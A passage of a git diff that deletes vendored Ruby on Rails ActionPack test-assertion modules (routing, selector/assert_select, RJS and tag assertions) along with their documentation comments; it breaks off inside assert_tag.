-          when %r{^\w[\w\d+.-]*:.*}
-            fragment
-          when String
-            if fragment =~ %r{^\w[\w\d+.-]*:.*}
-              fragment
-            else
-              if fragment !~ /^\//
-                ActiveSupport::Deprecation.warn "Omitting the leading slash on a path with assert_redirected_to is deprecated. Use '/#{fragment}' instead.", caller(2)
-                fragment = "/#{fragment}"
-              end
-              @request.protocol + @request.host_with_port + fragment
-            end
-          when :back
-            raise RedirectBackError unless refer = @request.headers["Referer"]
-            refer
-          else
-            @controller.url_for(fragment)
-          end.gsub(/[\r\n]/, '')
-        end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/assertions/routing_assertions.rb b/vendor/rails/actionpack/lib/action_controller/assertions/routing_assertions.rb
deleted file mode 100644
index 5101751c..00000000
--- a/vendor/rails/actionpack/lib/action_controller/assertions/routing_assertions.rb
+++ /dev/null
@@ -1,146 +0,0 @@
-module ActionController
-  module Assertions
-    # Suite of assertions to test routes generated by Rails and the handling of requests made to them.
-    module RoutingAssertions
-      # Asserts that the routing of the given +path+ was handled correctly and that the parsed options (given in the +expected_options+ hash)
-      # match +path+.  Basically, it asserts that Rails recognizes the route given by +expected_options+.
-      #
-      # Pass a hash in the second argument (+path+) to specify the request method.  This is useful for routes
-      # requiring a specific HTTP method.  The hash should contain a :path with the incoming request path
-      # and a :method containing the required HTTP verb.
-      #
-      #   # assert that POSTing to /items will call the create action on ItemsController
-      #   assert_recognizes {:controller => 'items', :action => 'create'}, {:path => 'items', :method => :post}
-      #
-      # You can also pass in +extras+ with a hash containing URL parameters that would normally be in the query string.  This can be used
-      # to assert that values in the query string string will end up in the params hash correctly.  To test query strings you must use the
-      # extras argument, appending the query string on the path directly will not work.  For example:
-      #
-      #   # assert that a path of '/items/list/1?view=print' returns the correct options
-      #   assert_recognizes {:controller => 'items', :action => 'list', :id => '1', :view => 'print'}, 'items/list/1', { :view => "print" }
-      #
-      # The +message+ parameter allows you to pass in an error message that is displayed upon failure.
-      #
-      # ==== Examples
-      #   # Check the default route (i.e., the index action)
-      #   assert_recognizes {:controller => 'items', :action => 'index'}, 'items'
-      #
-      #   # Test a specific action
-      #   assert_recognizes {:controller => 'items', :action => 'list'}, 'items/list'
-      #
-      #   # Test an action with a parameter
-      #   assert_recognizes {:controller => 'items', :action => 'destroy', :id => '1'}, 'items/destroy/1'
-      #
-      #   # Test a custom route
-      #   assert_recognizes {:controller => 'items', :action => 'show', :id => '1'}, 'view/item1'
-      #
-      #   # Check a Simply RESTful generated route
-      #   assert_recognizes list_items_url, 'items/list'
-      def assert_recognizes(expected_options, path, extras={}, message=nil)
-        if path.is_a? Hash
-          request_method = path[:method]
-          path           = path[:path]
-        else
-          request_method = nil
-        end
-
-        clean_backtrace do
-          ActionController::Routing::Routes.reload if ActionController::Routing::Routes.empty?
-          request = recognized_request_for(path, request_method)
-
-          expected_options = expected_options.clone
-          extras.each_key { |key| expected_options.delete key } unless extras.nil?
-
-          expected_options.stringify_keys!
-          routing_diff = expected_options.diff(request.path_parameters)
-          msg = build_message(message, "The recognized options <?> did not match <?>, difference: <?>",
-              request.path_parameters, expected_options, expected_options.diff(request.path_parameters))
-          assert_block(msg) { request.path_parameters == expected_options }
-        end
-      end
-
-      # Asserts that the provided options can be used to generate the provided path.  This is the inverse of +assert_recognizes+.
-      # The +extras+ parameter is used to tell the request the names and values of additional request parameters that would be in
-      # a query string. The +message+ parameter allows you to specify a custom error message for assertion failures.
-      #
-      # The +defaults+ parameter is unused.
-      #
-      # ==== Examples
-      #   # Asserts that the default action is generated for a route with no action
-      #   assert_generates "/items", :controller => "items", :action => "index"
-      #
-      #   # Tests that the list action is properly routed
-      #   assert_generates "/items/list", :controller => "items", :action => "list"
-      #
-      #   # Tests the generation of a route with a parameter
-      #   assert_generates "/items/list/1", { :controller => "items", :action => "list", :id => "1" }
-      #
-      #   # Asserts that the generated route gives us our custom route
-      #   assert_generates "changesets/12", { :controller => 'scm', :action => 'show_diff', :revision => "12" }
-      def assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)
-        clean_backtrace do
-          expected_path = "/#{expected_path}" unless expected_path[0] == ?/
-          # Load routes.rb if it hasn't been loaded.
-          ActionController::Routing::Routes.reload if ActionController::Routing::Routes.empty?
-
-          generated_path, extra_keys = ActionController::Routing::Routes.generate_extras(options, defaults)
-          found_extras = options.reject {|k, v| ! extra_keys.include? k}
-
-          msg = build_message(message, "found extras <?>, not <?>", found_extras, extras)
-          assert_block(msg) { found_extras == extras }
-
-          msg = build_message(message, "The generated path <?> did not match <?>", generated_path,
-              expected_path)
-          assert_block(msg) { expected_path == generated_path }
-        end
-      end
-
-      # Asserts that path and options match both ways; in other words, it verifies that <tt>path</tt> generates
-      # <tt>options</tt> and then that <tt>options</tt> generates <tt>path</tt>.  This essentially combines +assert_recognizes+
-      # and +assert_generates+ into one step.
-      #
-      # The +extras+ hash allows you to specify options that would normally be provided as a query string to the action.  The
-      # +message+ parameter allows you to specify a custom error message to display upon failure.
-      #
-      # ==== Examples
-      #  # Assert a basic route: a controller with the default action (index)
-      #  assert_routing '/home', :controller => 'home', :action => 'index'
-      #
-      #  # Test a route generated with a specific controller, action, and parameter (id)
-      #  assert_routing '/entries/show/23', :controller => 'entries', :action => 'show', id => 23
-      #
-      #  # Assert a basic route (controller + default action), with an error message if it fails
-      #  assert_routing '/store', { :controller => 'store', :action => 'index' }, {}, {}, 'Route for store index not generated properly'
-      #
-      #  # Tests a route, providing a defaults hash
-      #  assert_routing 'controller/action/9', {:id => "9", :item => "square"}, {:controller => "controller", :action => "action"}, {}, {:item => "square"}
-      #
-      #  # Tests a route with a HTTP method
-      #  assert_routing { :method => 'put', :path => '/product/321' }, { :controller => "product", :action => "update", :id => "321" }
-      def assert_routing(path, options, defaults={}, extras={}, message=nil)
-        assert_recognizes(options, path, extras, message)
-
-        controller, default_controller = options[:controller], defaults[:controller]
-        if controller && controller.include?(?/) && default_controller && default_controller.include?(?/)
-          options[:controller] = "/#{controller}"
-        end
-
-        assert_generates(path.is_a?(Hash) ? path[:path] : path, options, defaults, extras, message)
-      end
-
-      private
-        # Recognizes the route for a given path.
-        def recognized_request_for(path, request_method = nil)
-          path = "/#{path}" unless path.first == '/'
-
-          # Assume given controller
-          request = ActionController::TestRequest.new
-          request.env["REQUEST_METHOD"] = request_method.to_s.upcase if request_method
-          request.path   = path
-
-          ActionController::Routing::Routes.recognize(request)
-          request
-        end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/assertions/selector_assertions.rb b/vendor/rails/actionpack/lib/action_controller/assertions/selector_assertions.rb
deleted file mode 100644
index 280839db..00000000
--- a/vendor/rails/actionpack/lib/action_controller/assertions/selector_assertions.rb
+++ /dev/null
@@ -1,638 +0,0 @@
-#--
-# Copyright (c) 2006 Assaf Arkin (http://labnotes.org)
-# Under MIT and/or CC By license.
-#++
-
-module ActionController
-  module Assertions
-    unless const_defined?(:NO_STRIP)
-      NO_STRIP = %w{pre script style textarea}
-    end
-
-    # Adds the +assert_select+ method for use in Rails functional
-    # test cases, which can be used to make assertions on the response HTML of a controller
-    # action. You can also call +assert_select+ within another +assert_select+ to
-    # make assertions on elements selected by the enclosing assertion.
-    #
-    # Use +css_select+ to select elements without making an assertions, either
-    # from the response HTML or elements selected by the enclosing assertion.
-    #
-    # In addition to HTML responses, you can make the following assertions:
-    # * +assert_select_rjs+ - Assertions on HTML content of RJS update and insertion operations.
-    # * +assert_select_encoded+ - Assertions on HTML encoded inside XML, for example for dealing with feed item descriptions.
-    # * +assert_select_email+ - Assertions on the HTML body of an e-mail.
-    #
-    # Also see HTML::Selector to learn how to use selectors.
-    module SelectorAssertions
-
-      def initialize(*args)
-        super
-        @selected = nil
-      end
-
-      # :call-seq:
-      #   css_select(selector) => array
-      #   css_select(element, selector) => array
-      #
-      # Select and return all matching elements.
-      #
-      # If called with a single argument, uses that argument as a selector
-      # to match all elements of the current page. Returns an empty array
-      # if no match is found.
-      #
-      # If called with two arguments, uses the first argument as the base
-      # element and the second argument as the selector. Attempts to match the
-      # base element and any of its children. Returns an empty array if no
-      # match is found.
-      #
-      # The selector may be a CSS selector expression (String), an expression
-      # with substitution values (Array) or an HTML::Selector object.
-      #
-      # ==== Examples
-      #   # Selects all div tags
-      #   divs = css_select("div")
-      #
-      #   # Selects all paragraph tags and does something interesting
-      #   pars = css_select("p")
-      #   pars.each do |par|
-      #     # Do something fun with paragraphs here...
-      #   end
-      #
-      #   # Selects all list items in unordered lists
-      #   items = css_select("ul>li")
-      #
-      #   # Selects all form tags and then all inputs inside the form
-      #   forms = css_select("form")
-      #   forms.each do |form|
-      #     inputs = css_select(form, "input")
-      #     ...
-      #   end
-      #
-      def css_select(*args)
-        # See assert_select to understand what's going on here.
-        arg = args.shift
-
-        if arg.is_a?(HTML::Node)
-          root = arg
-          arg = args.shift
-        elsif arg == nil
-          raise ArgumentError, "First argument is either selector or element to select, but nil found. Perhaps you called assert_select with an element that does not exist?"
-        elsif @selected
-          matches = []
-
-          @selected.each do |selected|
-            subset = css_select(selected, HTML::Selector.new(arg.dup, args.dup))
-            subset.each do |match|
-              matches << match unless matches.any? { |m| m.equal?(match) }
-            end
-          end
-
-          return matches
-        else
-          root = response_from_page_or_rjs
-        end
-
-        case arg
-          when String
-            selector = HTML::Selector.new(arg, args)
-          when Array
-            selector = HTML::Selector.new(*arg)
-          when HTML::Selector
-            selector = arg
-          else raise ArgumentError, "Expecting a selector as the first argument"
-        end
-
-        selector.select(root)
-      end
-
-      # :call-seq:
-      #   assert_select(selector, equality?, message?)
-      #   assert_select(element, selector, equality?, message?)
-      #
-      # An assertion that selects elements and makes one or more equality tests.
-      #
-      # If the first argument is an element, selects all matching elements
-      # starting from (and including) that element and all its children in
-      # depth-first order.
-      #
-      # If no element if specified, calling +assert_select+ selects from the
-      # response HTML unless +assert_select+ is called from within an +assert_select+ block.
-      #
-      # When called with a block +assert_select+ passes an array of selected elements
-      # to the block. Calling +assert_select+ from the block, with no element specified,
-      # runs the assertion on the complete set of elements selected by the enclosing assertion.
-      # Alternatively the array may be iterated through so that +assert_select+ can be called
-      # separately for each element.
-      #
-      #
-      # ==== Example
-      # If the response contains two ordered lists, each with four list elements then:
-      #   assert_select "ol" do |elements|
-      #     elements.each do |element|
-      #       assert_select element, "li", 4
-      #     end
-      #   end
-      #
-      # will pass, as will:
-      #   assert_select "ol" do
-      #     assert_select "li", 8
-      #   end
-      #
-      # The selector may be a CSS selector expression (String), an expression
-      # with substitution values, or an HTML::Selector object.
-      #
-      # === Equality Tests
-      #
-      # The equality test may be one of the following:
-      # * <tt>true</tt> - Assertion is true if at least one element selected.
-      # * <tt>false</tt> - Assertion is true if no element selected.
-      # * <tt>String/Regexp</tt> - Assertion is true if the text value of at least
-      #   one element matches the string or regular expression.
-      # * <tt>Integer</tt> - Assertion is true if exactly that number of
-      #   elements are selected.
-      # * <tt>Range</tt> - Assertion is true if the number of selected
-      #   elements fit the range.
-      # If no equality test specified, the assertion is true if at least one
-      # element selected.
-      #
-      # To perform more than one equality tests, use a hash with the following keys:
-      # * <tt>:text</tt> - Narrow the selection to elements that have this text
-      #   value (string or regexp).
-      # * <tt>:html</tt> - Narrow the selection to elements that have this HTML
-      #   content (string or regexp).
-      # * <tt>:count</tt> - Assertion is true if the number of selected elements
-      #   is equal to this value.
-      # * <tt>:minimum</tt> - Assertion is true if the number of selected
-      #   elements is at least this value.
-      # * <tt>:maximum</tt> - Assertion is true if the number of selected
-      #   elements is at most this value.
-      #
-      # If the method is called with a block, once all equality tests are
-      # evaluated the block is called with an array of all matched elements.
-      #
-      # ==== Examples
-      #
-      #   # At least one form element
-      #   assert_select "form"
-      #
-      #   # Form element includes four input fields
-      #   assert_select "form input", 4
-      #
-      #   # Page title is "Welcome"
-      #   assert_select "title", "Welcome"
-      #
-      #   # Page title is "Welcome" and there is only one title element
-      #   assert_select "title", {:count=>1, :text=>"Welcome"},
-      #       "Wrong title or more than one title element"
-      #
-      #   # Page contains no forms
-      #   assert_select "form", false, "This page must contain no forms"
-      #
-      #   # Test the content and style
-      #   assert_select "body div.header ul.menu"
-      #
-      #   # Use substitution values
-      #   assert_select "ol>li#?", /item-\d+/
-      #
-      #   # All input fields in the form have a name
-      #   assert_select "form input" do
-      #     assert_select "[name=?]", /.+/  # Not empty
-      #   end
-      def assert_select(*args, &block)
-        # Start with optional element followed by mandatory selector.
-        arg = args.shift
-
-        if arg.is_a?(HTML::Node)
-          # First argument is a node (tag or text, but also HTML root),
-          # so we know what we're selecting from.
-          root = arg
-          arg = args.shift
-        elsif arg == nil
-          # This usually happens when passing a node/element that
-          # happens to be nil.
-          raise ArgumentError, "First argument is either selector or element to select, but nil found. Perhaps you called assert_select with an element that does not exist?"
-        elsif @selected
-          root = HTML::Node.new(nil)
-          root.children.concat @selected
-        else
-          # Otherwise just operate on the response document.
-          root = response_from_page_or_rjs
-        end
-
-        # First or second argument is the selector: string and we pass
-        # all remaining arguments. Array and we pass the argument. Also
-        # accepts selector itself.
-        case arg
-          when String
-            selector = HTML::Selector.new(arg, args)
-          when Array
-            selector = HTML::Selector.new(*arg)
-          when HTML::Selector
-            selector = arg
-          else raise ArgumentError, "Expecting a selector as the first argument"
-        end
-
-        # Next argument is used for equality tests.
-        equals = {}
-        case arg = args.shift
-          when Hash
-            equals = arg
-          when String, Regexp
-            equals[:text] = arg
-          when Integer
-            equals[:count] = arg
-          when Range
-            equals[:minimum] = arg.begin
-            equals[:maximum] = arg.end
-          when FalseClass
-            equals[:count] = 0
-          when NilClass, TrueClass
-            equals[:minimum] = 1
-          else raise ArgumentError, "I don't understand what you're trying to match"
-        end
-
-        # By default we're looking for at least one match.
-        if equals[:count]
-          equals[:minimum] = equals[:maximum] = equals[:count]
-        else
-          equals[:minimum] = 1 unless equals[:minimum]
-        end
-
-        # Last argument is the message we use if the assertion fails.
-        message = args.shift
-        #- message = "No match made with selector #{selector.inspect}" unless message
-        if args.shift
-          raise ArgumentError, "Not expecting that last argument, you either have too many arguments, or they're the wrong type"
-        end
-
-        matches = selector.select(root)
-        # If text/html, narrow down to those elements that match it.
-        content_mismatch = nil
-        if match_with = equals[:text]
-          matches.delete_if do |match|
-            text = ""
-            text.force_encoding(match_with.encoding) if text.respond_to?(:force_encoding)
-            stack = match.children.reverse
-            while node = stack.pop
-              if node.tag?
-                stack.concat node.children.reverse
-              else
-                content = node.content
-                content.force_encoding(match_with.encoding) if content.respond_to?(:force_encoding)
-                text << content
-              end
-            end
-            text.strip! unless NO_STRIP.include?(match.name)
-            unless match_with.is_a?(Regexp) ? (text =~ match_with) : (text == match_with.to_s)
-              content_mismatch ||= build_message(message, "<?> expected but was\n<?>.", match_with, text)
-              true
-            end
-          end
-        elsif match_with = equals[:html]
-          matches.delete_if do |match|
-            html = match.children.map(&:to_s).join
-            html.strip! unless NO_STRIP.include?(match.name)
-            unless match_with.is_a?(Regexp) ? (html =~ match_with) : (html == match_with.to_s)
-              content_mismatch ||= build_message(message, "<?> expected but was\n<?>.", match_with, html)
-              true
-            end
-          end
-        end
-        # Expecting foo found bar element only if found zero, not if
-        # found one but expecting two.
-        message ||= content_mismatch if matches.empty?
-        # Test minimum/maximum occurrence.
-        min, max = equals[:minimum], equals[:maximum]
-        message = message || %(Expected #{count_description(min, max)} matching "#{selector.to_s}", found #{matches.size}.)
-        assert matches.size >= min, message if min
-        assert matches.size <= max, message if max
-
-        # If a block is given call that block. Set @selected to allow
-        # nested assert_select, which can be nested several levels deep.
-        if block_given? && !matches.empty?
-          begin
-            in_scope, @selected = @selected, matches
-            yield matches
-          ensure
-            @selected = in_scope
-          end
-        end
-
-        # Returns all matches elements.
-        matches
-      end
-
-      def count_description(min, max) #:nodoc:
-        pluralize = lambda {|word, quantity| word << (quantity == 1 ? '' : 's')}
-
-        if min && max && (max != min)
-          "between #{min} and #{max} elements"
-        elsif min && !(min == 1 && max == 1)
-          "at least #{min} #{pluralize['element', min]}"
-        elsif max
-          "at most #{max} #{pluralize['element', max]}"
-        end
-      end
-
-      # :call-seq:
-      #   assert_select_rjs(id?) { |elements| ... }
-      #   assert_select_rjs(statement, id?) { |elements| ... }
-      #   assert_select_rjs(:insert, position, id?) { |elements| ... }
-      #
-      # Selects content from the RJS response.
-      #
-      # === Narrowing down
-      #
-      # With no arguments, asserts that one or more elements are updated or
-      # inserted by RJS statements.
-      #
-      # Use the +id+ argument to narrow down the assertion to only statements
-      # that update or insert an element with that identifier.
-      #
-      # Use the first argument to narrow down assertions to only statements
-      # of that type. Possible values are <tt>:replace</tt>, <tt>:replace_html</tt>,
-      # <tt>:show</tt>, <tt>:hide</tt>, <tt>:toggle</tt>, <tt>:remove</tt> and
-      # <tt>:insert_html</tt>.
-      #
-      # Use the argument <tt>:insert</tt> followed by an insertion position to narrow
-      # down the assertion to only statements that insert elements in that
-      # position. Possible values are <tt>:top</tt>, <tt>:bottom</tt>, <tt>:before</tt>
-      # and <tt>:after</tt>.
-      #
-      # Using the <tt>:remove</tt> statement, you will be able to pass a block, but it will
-      # be ignored as there is no HTML passed for this statement.
-      #
-      # === Using blocks
-      #
-      # Without a block, +assert_select_rjs+ merely asserts that the response
-      # contains one or more RJS statements that replace or update content.
-      #
-      # With a block, +assert_select_rjs+ also selects all elements used in
-      # these statements and passes them to the block. Nested assertions are
-      # supported.
-      #
-      # Calling +assert_select_rjs+ with no arguments and using nested asserts
-      # asserts that the HTML content is returned by one or more RJS statements.
-      # Using +assert_select+ directly makes the same assertion on the content,
-      # but without distinguishing whether the content is returned in an HTML
-      # or JavaScript.
-      #
-      # ==== Examples
-      #
-      #   # Replacing the element foo.
-      #   # page.replace 'foo', ...
-      #   assert_select_rjs :replace, "foo"
-      #
-      #   # Replacing with the chained RJS proxy.
-      #   # page[:foo].replace ...
-      #   assert_select_rjs :chained_replace, 'foo'
-      #
-      #   # Inserting into the element bar, top position.
-      #   assert_select_rjs :insert, :top, "bar"
-      #
-      #   # Remove the element bar
-      #   assert_select_rjs :remove, "bar"
-      #
-      #   # Changing the element foo, with an image.
-      #   assert_select_rjs "foo" do
-      #     assert_select "img[src=/images/logo.gif""
-      #   end
-      #
-      #   # RJS inserts or updates a list with four items.
-      #   assert_select_rjs do
-      #     assert_select "ol>li", 4
-      #   end
-      #
-      #   # The same, but shorter.
-      #   assert_select "ol>li", 4
-      def assert_select_rjs(*args, &block)
-        rjs_type = args.first.is_a?(Symbol) ? args.shift : nil
-        id       = args.first.is_a?(String) ? args.shift : nil
-
-        # If the first argument is a symbol, it's the type of RJS statement we're looking
-        # for (update, replace, insertion, etc). Otherwise, we're looking for just about
-        # any RJS statement.
-        if rjs_type
-          if rjs_type == :insert
-            position  = args.shift
-            id = args.shift
-            insertion = "insert_#{position}".to_sym
-            raise ArgumentError, "Unknown RJS insertion type #{position}" unless RJS_STATEMENTS[insertion]
-            statement = "(#{RJS_STATEMENTS[insertion]})"
-          else
-            raise ArgumentError, "Unknown RJS statement type #{rjs_type}" unless RJS_STATEMENTS[rjs_type]
-            statement = "(#{RJS_STATEMENTS[rjs_type]})"
-          end
-        else
-          statement = "#{RJS_STATEMENTS[:any]}"
-        end
-
-        # Next argument we're looking for is the element identifier. If missing, we pick
-        # any element, otherwise we replace it in the statement.
-        pattern = Regexp.new(
-          id ? statement.gsub(RJS_ANY_ID, "\"#{id}\"") : statement
-        )
-
-        # Duplicate the body since the next step involves destroying it.
-        matches = nil
-        case rjs_type
-          when :remove, :show, :hide, :toggle
-            matches = @response.body.match(pattern)
-          else
-            @response.body.gsub(pattern) do |match|
-              html = unescape_rjs(match)
-              matches ||= []
-              matches.concat HTML::Document.new(html).root.children.select { |n| n.tag? }
-              ""
-            end
-        end
-
-        if matches
-          assert_block("") { true } # to count the assertion
-          if block_given? && !([:remove, :show, :hide, :toggle].include? rjs_type)
-            begin
-              in_scope, @selected = @selected, matches
-              yield matches
-            ensure
-              @selected = in_scope
-            end
-          end
-          matches
-        else
-          # RJS statement not found.
-          case rjs_type
-            when :remove, :show, :hide, :toggle
-              flunk_message = "No RJS statement that #{rjs_type.to_s}s '#{id}' was rendered."
-            else
-              flunk_message = "No RJS statement that replaces or inserts HTML content."
-          end
-          flunk args.shift || flunk_message
-        end
-      end
-
-      # :call-seq:
-      #   assert_select_encoded(element?) { |elements| ... }
-      #
-      # Extracts the content of an element, treats it as encoded HTML and runs
-      # nested assertion on it.
-      #
-      # You typically call this method within another assertion to operate on
-      # all currently selected elements. You can also pass an element or array
-      # of elements.
-      #
-      # The content of each element is un-encoded, and wrapped in the root
-      # element +encoded+. It then calls the block with all un-encoded elements.
-      #
-      # ==== Examples
-      #   # Selects all bold tags from within the title of an ATOM feed's entries (perhaps to nab a section name prefix)
-      #   assert_select_feed :atom, 1.0 do
-      #     # Select each entry item and then the title item
-      #     assert_select "entry>title" do
-      #       # Run assertions on the encoded title elements
-      #       assert_select_encoded do
-      #         assert_select "b"
-      #       end
-      #     end
-      #   end
-      #
-      #
-      #   # Selects all paragraph tags from within the description of an RSS feed
-      #   assert_select_feed :rss, 2.0 do
-      #     # Select description element of each feed item.
-      #     assert_select "channel>item>description" do
-      #       # Run assertions on the encoded elements.
-      #       assert_select_encoded do
-      #         assert_select "p"
-      #       end
-      #     end
-      #   end
-      def assert_select_encoded(element = nil, &block)
-        case element
-          when Array
-            elements = element
-          when HTML::Node
-            elements = [element]
-          when nil
-            unless elements = @selected
-              raise ArgumentError, "First argument is optional, but must be called from a nested assert_select"
-            end
-          else
-            raise ArgumentError, "Argument is optional, and may be node or array of nodes"
-        end
-
-        fix_content = lambda do |node|
-          # Gets around a bug in the Rails 1.1 HTML parser.
-          node.content.gsub(/<!\[CDATA\[(.*)(\]\]>)?/m) { CGI.escapeHTML($1) }
-        end
-
-        selected = elements.map do |element|
-          text = element.children.select{ |c| not c.tag? }.map{ |c| fix_content[c] }.join
-          root = HTML::Document.new(CGI.unescapeHTML("<encoded>#{text}</encoded>")).root
-          css_select(root, "encoded:root", &block)[0]
-        end
-
-        begin
-          old_selected, @selected = @selected, selected
-          assert_select ":root", &block
-        ensure
-          @selected = old_selected
-        end
-      end
-
-      # :call-seq:
-      #   assert_select_email { }
-      #
-      # Extracts the body of an email and runs nested assertions on it.
-      #
-      # You must enable deliveries for this assertion to work, use:
-      #   ActionMailer::Base.perform_deliveries = true
-      #
-      # ==== Examples
-      #
-      #  assert_select_email do
-      #    assert_select "h1", "Email alert"
-      #  end
-      #
-      #  assert_select_email do
-      #    items = assert_select "ol>li"
-      #    items.each do
-      #       # Work with items here...
-      #    end
-      #  end
-      #
-      def assert_select_email(&block)
-        deliveries = ActionMailer::Base.deliveries
-        assert !deliveries.empty?, "No e-mail in delivery list"
-
-        for delivery in deliveries
-          for part in delivery.parts
-            if part["Content-Type"].to_s =~ /^text\/html\W/
-              root = HTML::Document.new(part.body).root
-              assert_select root, ":root", &block
-            end
-          end
-        end
-      end
-
-      protected
-        unless const_defined?(:RJS_STATEMENTS)
-          RJS_PATTERN_HTML  = "\"((\\\\\"|[^\"])*)\""
-          RJS_ANY_ID        = "\"([^\"])*\""
-          RJS_STATEMENTS    = {
-            :chained_replace      => "\\$\\(#{RJS_ANY_ID}\\)\\.replace\\(#{RJS_PATTERN_HTML}\\)",
-            :chained_replace_html => "\\$\\(#{RJS_ANY_ID}\\)\\.update\\(#{RJS_PATTERN_HTML}\\)",
-            :replace_html         => "Element\\.update\\(#{RJS_ANY_ID}, #{RJS_PATTERN_HTML}\\)",
-            :replace              => "Element\\.replace\\(#{RJS_ANY_ID}, #{RJS_PATTERN_HTML}\\)"
-          }
-          [:remove, :show, :hide, :toggle].each do |action|
-            RJS_STATEMENTS[action] = "Element\\.#{action}\\(#{RJS_ANY_ID}\\)"
-          end
-          RJS_INSERTIONS = ["top", "bottom", "before", "after"]
-          RJS_INSERTIONS.each do |insertion|
-            RJS_STATEMENTS["insert_#{insertion}".to_sym] = "Element.insert\\(#{RJS_ANY_ID}, \\{ #{insertion}: #{RJS_PATTERN_HTML} \\}\\)"
-          end
-          RJS_STATEMENTS[:insert_html] = "Element.insert\\(#{RJS_ANY_ID}, \\{ (#{RJS_INSERTIONS.join('|')}): #{RJS_PATTERN_HTML} \\}\\)"
-          RJS_STATEMENTS[:any] = Regexp.new("(#{RJS_STATEMENTS.values.join('|')})")
-          RJS_PATTERN_UNICODE_ESCAPED_CHAR = /\\u([0-9a-zA-Z]{4})/
-        end
-
-        # +assert_select+ and +css_select+ call this to obtain the content in the HTML
-        # page, or from all the RJS statements, depending on the type of response.
-        def response_from_page_or_rjs()
-          content_type = @response.content_type
-
-          if content_type && Mime::JS =~ content_type
-            body = @response.body.dup
-            root = HTML::Node.new(nil)
-
-            while true
-              next if body.sub!(RJS_STATEMENTS[:any]) do |match|
-                html = unescape_rjs(match)
-                matches = HTML::Document.new(html).root.children.select { |n| n.tag? }
-                root.children.concat matches
-                ""
-              end
-              break
-            end
-
-            root
-          else
-            html_document.root
-          end
-        end
-
-        # Unescapes a RJS string.
-        def unescape_rjs(rjs_string)
-          # RJS encodes double quotes and line breaks.
-          unescaped= rjs_string.gsub('\"', '"')
-          unescaped.gsub!(/\\\//, '/')
-          unescaped.gsub!('\n', "\n")
-          unescaped.gsub!('\076', '>')
-          unescaped.gsub!('\074', '<')
-          # RJS encodes non-ascii characters.
-          unescaped.gsub!(RJS_PATTERN_UNICODE_ESCAPED_CHAR) {|u| [$1.hex].pack('U*')}
-          unescaped
-        end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/assertions/tag_assertions.rb b/vendor/rails/actionpack/lib/action_controller/assertions/tag_assertions.rb
deleted file mode 100644
index 80249e0e..00000000
--- a/vendor/rails/actionpack/lib/action_controller/assertions/tag_assertions.rb
+++ /dev/null
@@ -1,127 +0,0 @@
-module ActionController
-  module Assertions
-    # Pair of assertions to testing elements in the HTML output of the response.
-    module TagAssertions
-      # Asserts that there is a tag/node/element in the body of the response
-      # that meets all of the given conditions. The +conditions+ parameter must
-      # be a hash of any of the following keys (all are optional):
-      #
-      # * <tt>:tag</tt>: the node type must match the corresponding value
-      # * <tt>:attributes</tt>: a hash. The node's attributes must match the
-      #   corresponding values in the hash.
-      # * <tt>:parent</tt>: a hash. The node's parent must match the
-      #   corresponding hash.
-      # * <tt>:child</tt>: a hash. At least one of the node's immediate children
-      #   must meet the criteria described by the hash.
-      # * <tt>:ancestor</tt>: a hash. At least one of the node's ancestors must
-      #   meet the criteria described by the hash.
-      # * <tt>:descendant</tt>: a hash. At least one of the node's descendants
-      #   must meet the criteria described by the hash.
-      # * <tt>:sibling</tt>: a hash. At least one of the node's siblings must
-      #   meet the criteria described by the hash.
-      # * <tt>:after</tt>: a hash. The node must be after any sibling meeting
-      #   the criteria described by the hash, and at least one sibling must match.
-      # * <tt>:before</tt>: a hash. The node must be before any sibling meeting
-      #   the criteria described by the hash, and at least one sibling must match.
-      # * <tt>:children</tt>: a hash, for counting children of a node. Accepts
-      #   the keys:
-      #   * <tt>:count</tt>: either a number or a range which must equal (or
-      #     include) the number of children that match.
-      #   * <tt>:less_than</tt>: the number of matching children must be less
-      #     than this number.
-      #   * <tt>:greater_than</tt>: the number of matching children must be
-      #     greater than this number.
-      #   * <tt>:only</tt>: another hash consisting of the keys to use
-      #     to match on the children, and only matching children will be
-      #     counted.
-      # * <tt>:content</tt>: the textual content of the node must match the
-      #   given value. This will not match HTML tags in the body of a
-      #   tag--only text.
-      #
-      # Conditions are matched using the following algorithm:
-      #
-      # * if the condition is a string, it must be a substring of the value.
-      # * if the condition is a regexp, it must match the value.
-      # * if the condition is a number, the value must match number.to_s.
-      # * if the condition is +true+, the value must not be +nil+.
-      # * if the condition is +false+ or +nil+, the value must be +nil+.
-      #
-      # === Examples
-      #
-      #   # Assert that there is a "span" tag
-      #   assert_tag :tag => "span"
-      #
-      #   # Assert that there is a "span" tag with id="x"
-      #   assert_tag :tag => "span", :attributes => { :id => "x" }
-      #
-      #   # Assert that there is a "span" tag using the short-hand
-      #   assert_tag :span
-      #
-      #   # Assert that there is a "span" tag with id="x" using the short-hand
-      #   assert_tag :span, :attributes => { :id => "x" }
-      #
-      #   # Assert that there is a "span" inside of a "div"
-      #   assert_tag :tag => "span", :parent => { :tag => "div" }
-      #
-      #   # Assert that there is a "span" somewhere inside a table
-      #   assert_tag :tag => "span", :ancestor => { :tag => "table" }
-      #
-      #   # Assert that there is a "span" with at least one "em" child
-      #   assert_tag :tag => "span", :child => { :tag => "em" }
-      #
-      #   # Assert that there is a "span" containing a (possibly nested)
-      #   # "strong" tag.
-      #   assert_tag :tag => "span", :descendant => { :tag => "strong" }
-      #
-      #   # Assert that there is a "span" containing between 2 and 4 "em" tags
-      #   # as immediate children
-      #   assert_tag :tag => "span",
-      #              :children => { :count => 2..4, :only => { :tag => "em" } } 
-      #
-      #   # Get funky: assert that there is a "div", with an "ul" ancestor
-      #   # and an "li" parent (with "class" = "enum"), and containing a 
-      #   # "span" descendant that contains text matching /hello world/
-      #   assert_tag :tag => "div",
-      #              :ancestor => { :tag => "ul" },
-      #              :parent => { :tag => "li",
-      #                           :attributes => { :class => "enum" } },
-      #              :descendant => { :tag => "span",
-      #                               :child => /hello world/ }
-      #
-      # <b>Please note</b>: +assert_tag+ and +assert_no_tag+ only work
-      # with well-formed XHTML. They recognize a few tags as implicitly self-closing
-      # (like br and hr and such) but will not work correctly with tags
-      # that allow optional closing tags (p, li, td). <em>You must explicitly
-      # close all of your tags to use these assertions.</em>
-      def assert_tag(*opts)
-        clean_backtrace do
-          opts = opts.size > 1 ? opts.last.merge({ :tag => opts.first.to_s }) : opts.first
-          tag = find_tag(opts)
